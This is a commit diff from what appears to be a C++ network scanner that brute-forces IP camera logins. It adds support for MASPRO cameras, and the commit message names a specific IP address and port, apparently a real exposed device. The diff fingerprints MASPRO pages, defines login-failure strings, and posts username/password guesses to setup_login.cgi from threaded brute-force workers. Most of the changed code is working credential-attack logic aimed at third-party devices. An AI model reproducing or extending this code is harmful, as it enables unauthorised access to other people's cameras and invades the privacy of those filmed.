Added MASPRO camera support. (222.12.209.75:8080)

This commit is contained in:
cora32 2015-04-19 13:27:04 +03:00
parent a9152d56c8
commit 871d22c5ba
4 changed files with 37 additions and 33 deletions

View File

@ -155,9 +155,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut + 3); curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut + 3);
if(postData != NULL) { if(postData != NULL) curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
};
if(customHeaders != NULL) { if(customHeaders != NULL) {

View File

@ -53,19 +53,22 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
{ {
negVector.push_back("var check=\"0\""); negVector.push_back("var check=\"0\"");
negVector.push_back("var authLevel =\"0\";"); negVector.push_back("var authLevel =\"0\";");
} }
else if(strcmp(SPEC, "IEORFOREFOX") == 0) else if (strcmp(SPEC, "IEORFOREFOX") == 0)
{ {
negVector.push_back("AAA()"); negVector.push_back("AAA()");
negVector.push_back("Имя или пароль неверные!"); negVector.push_back("Имя или пароль неверные!");
negVector.push_back("Возврат"); negVector.push_back("Возврат");
negVector.push_back("HTTP/1.0 302 Found"); negVector.push_back("HTTP/1.0 302 Found");
negVector.push_back("is incorrect"); negVector.push_back("is incorrect");
} }
else if (strcmp(SPEC, "MASPRO") == 0)
{
negVector.push_back("action=\"setup_login.cgi\"");
}
else else
{ {
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!"); stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
return lps; return lps;
}; };
@ -128,20 +131,23 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
doPost = true; doPost = true;
sprintf(request, "%s:%d/rpc/login", ip, port); sprintf(request, "%s:%d/rpc/login", ip, port);
sprintf(postData, "user=%s&password=%s", login, pass); sprintf(postData, "user=%s&password=%s", login, pass);
} }
else if(strcmp(SPEC, "DVS") == 0) else if (strcmp(SPEC, "DVS") == 0)
{ {
doPost = true; doPost = true;
sprintf(request, "%s:%d/login", ip, port); sprintf(request, "%s:%d/login", ip, port);
sprintf(postData, "langs=en&user=%s&password=%s&submit=+Login+", login, pass); sprintf(postData, "langs=en&user=%s&password=%s&submit=+Login+", login, pass);
} }
else if (strcmp(SPEC, "MASPRO") == 0)
{
doPost = true;
sprintf(request, "%s:%d/setup_login.cgi", ip, port);
sprintf(postData, "check_username=%s&check_password=%s&login=", login, pass);
}
std::string buffer; std::string buffer;
if(doPost) { if(doPost) res = Connector::nConnect(request, port, &buffer, postData);
res = Connector::nConnect(request, port, &buffer, postData); else res = Connector::nConnect(request, port, &buffer);
} else {
res = Connector::nConnect(request, port, &buffer);
}
if (res == -2) return lps; if (res == -2) return lps;
else if (res != -1) { else if (res != -1) {
@ -177,12 +183,10 @@ lopaStr IPC::IPCLobby(const char *ip, int port, char *SPEC) {
if(gMaxBrutingThreads > 0) { if(gMaxBrutingThreads > 0) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
//BruteUtils::BConInc();
++baCount; ++baCount;
++BrutingThrds; ++BrutingThrds;
lopaStr lps = IPCBrute(ip, port, SPEC); lopaStr lps = IPCBrute(ip, port, SPEC);
--BrutingThrds; --BrutingThrds;
//BruteUtils::BConDec();
return lps; return lps;
} else { } else {

View File

@ -376,10 +376,11 @@ int sharedDetector(const char * ip, int port, const std::string *buffcpy, const
&& Utils::ustrstr(buffcpy, "ieorforefox") != -1 && Utils::ustrstr(buffcpy, "ieorforefox") != -1
&& Utils::ustrstr(buffcpy, "sofari") != -1 && Utils::ustrstr(buffcpy, "sofari") != -1
) return 49; //IEORFOREFOX ) return 49; //IEORFOREFOX
if (Utils::ustrstr(buffcpy, "seyeon") != -1 if (Utils::ustrstr(buffcpy, "seyeon") != -1
&& (Utils::ustrstr(buffcpy, "/app/multi/single.asp") != -1 && (Utils::ustrstr(buffcpy, "/app/multi/single.asp") != -1
|| Utils::ustrstr(buffcpy, "/app/live/sim/single.asp") != -1) || Utils::ustrstr(buffcpy, "/app/live/sim/single.asp") != -1)
) return 50; //Network Video System ) return 50; //Network Video System
if (Utils::ustrstr(buffcpy, "MASPRO DENKOH") != -1) return 51; //MASPRO
if(((Utils::ustrstr(buffcpy, "220") != -1) && (port == 21)) || if(((Utils::ustrstr(buffcpy, "220") != -1) && (port == 21)) ||
(Utils::ustrstr(buffcpy, "220 diskStation ftp server ready") != -1) || (Utils::ustrstr(buffcpy, "220 diskStation ftp server ready") != -1) ||
@ -1193,9 +1194,6 @@ void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *pa
void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char *comment, char *cp, int size, char *SPEC) void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char *comment, char *cp, int size, char *SPEC)
{ {
lopaStr lps = {"UNKNOWN", "", ""}; lopaStr lps = {"UNKNOWN", "", ""};
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));
IPC ipc; IPC ipc;
lps = ipc.IPCLobby(ip, port, SPEC); lps = ipc.IPCLobby(ip, port, SPEC);
@ -2540,6 +2538,10 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
{ {
_specBrute(ip, port, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, size); _specBrute(ip, port, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, size);
} }
else if (flag == 51) //MASPRO
{
_specWEBIPCAMBrute(ip, port, "[MASPRO] WEB IP Camera", flag, "WEB Authorization", cp, size, "MASPRO");
}
else if (flag == 20) //AXIS Camera else if (flag == 20) //AXIS Camera
{ {
_specBrute(ip, port, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size); _specBrute(ip, port, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size);

View File

@ -1 +1 @@
24B93-D0 24B93-9B